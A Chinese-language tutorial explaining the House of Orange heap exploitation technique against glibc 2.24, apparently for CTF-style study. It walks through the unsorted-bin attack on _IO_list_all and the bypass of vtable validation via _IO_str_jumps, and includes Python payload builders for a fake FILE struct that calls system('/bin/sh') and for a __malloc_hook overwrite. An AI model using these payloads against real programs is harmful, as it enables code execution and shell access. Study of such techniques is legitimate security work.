house of orange in glibc 2.24
字数 1655 2025-08-20 18:17:07
House of Orange 攻击技术详解 (Glibc 2.24)
基本原理
House of Orange 是一种利用堆管理机制和IO文件流结构进行攻击的技术,基本原理如下:
- 覆盖unsorted bin空闲块:修改其大小为0x61(small bin [4])
- 修改bk指针:指向
_IO_list_all -0x10 - 布置伪造的file结构体
- 触发unsorted bin attack:通过分配堆块触发攻击,修改
_IO_list_all指针 - 异常触发:将修改过的unsorted bin放入small bin 4中,继续遍历会触发异常
- 控制流劫持:异常处理会调用
malloc_printerr,最终调用_IO_OVERFLOW
关键调用链
malloc_printerr
→ __libc_message(error msg)
→ abort
→ _IO_flush_all_lockp
→ JUMP_FILE(_IO_OVERFLOW)
如果能伪造_IO_OVERFLOW函数,就可以获得shell。
绕过检查的条件
在调用_IO_OVERFLOW之前,会进行以下检查:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset(fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW(fp, EOF) == EOF)
绕过检查需要伪造以下字段:
fp->_mode = 0fp->_IO_write_ptr < fp->_IO_write_basefp->_IO_read_ptr = 0x61(smallbin4 + 8)fp->_IO_read_base = _IO_list_all - 0x10(smallbin->bk, unsorted bin attack)
Glibc 2.24的新保护机制
Glibc 2.24引入了vtable检测函数IO_validate_vtable:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
vtable必须位于__stop___IO_vtables和__start___libc_IO_vtables之间。
利用__IO_str_jumps绕过
可以使用__IO_str_jumps或__IO_wstr_jumps进行绕过,其中__IO_str_jumps更简单:
__IO_str_jumps地址:位于合法vtable范围内- 结构包含多个函数指针,其中
_IO_str_finish和_IO_str_overflow可用于利用
_IO_str_finish函数分析
void _IO_str_finish (FILE *fp, int dummy) {
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base); // call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish(fp, 0);
}
利用条件:
fp->_mode = 0fp->_IO_write_ptr < fp->_IO_write_basefp->_IO_read_ptr = 0x61(smallbin4 + 8)fp->_IO_read_base = _IO_list_all -0x10vtable = _IO_str_jumps - 8(使_IO_overflow调用_IO_str_finish)fp->_flags = 0fp->_IO_buf_base = binsh_addrfp+0xe8 = system_addr
构造伪造的file结构体
def pack_file(_flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
_IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0,
_IO_buf_base=0, _IO_buf_end=0, _IO_save_base=0,
_IO_backup_base=0, _IO_save_end=0, _IO_marker=0,
_IO_chain=0, _fileno=0, _lock=0, _wide_data=0, _mode=0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
封装利用函数:
def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags=0,
_IO_read_ptr=0x61, # smallbin4file_size
_IO_read_base=_IO_list_all_ptr-0x10, # unsorted bin attack
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh_addr,
_mode=0)
payload += p64(_IO_str_jumps_addr-8)
payload += p64(0) # padding
payload += p64(system_addr)
return payload
定位_IO_str_jumps
由于_IO_str_jumps不是导出符号,可以通过以下方法定位:
- 使用
_IO_str_underflow辅助定位(_IO_str_underflow在_IO_str_jumps的偏移为0x20) - 利用
_IO_str_jumps地址大于_IO_file_jumps地址的条件
自动化定位代码:
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break
其他绕过vtable check的方法
- 利用unsorted bin attack改写
_IO_2_1_stdin_:- 修改
_IO_buf_end指向__malloc_hook - 利用scanf函数读取数据填充到该区域
- 修改
示例payload:
def get_stdin_lock_offset(self):
IO_2_1_stdin = libc.sym['_IO_2_1_stdin_']
lock_stdin_offset = 0x88
return libc.u64(IO_2_1_stdin+lock_stdin_offset)
payload = "\x00"*5
payload += p64(libc_base + get_stdin_lock_offset())
payload += p64(0) * 9
payload += p64(libc_base + libc.sym['_IO_file_jumps'])
payload += "\x00" * (libc.sym['__malloc_hook'] - libc.sym['_IO_2_1_stdin_'] - 0xe0)
payload += p64(one_shoot)
总结
House of Orange攻击在Glibc 2.24下依然可行,关键在于:
- 正确构造伪造的file结构体
- 利用合法的vtable(如
__IO_str_jumps)绕过保护 - 精心控制异常触发路径
- 注意各种检查条件的绕过
这种技术不仅适用于Glibc 2.24,也可以用于2.23版本的程序。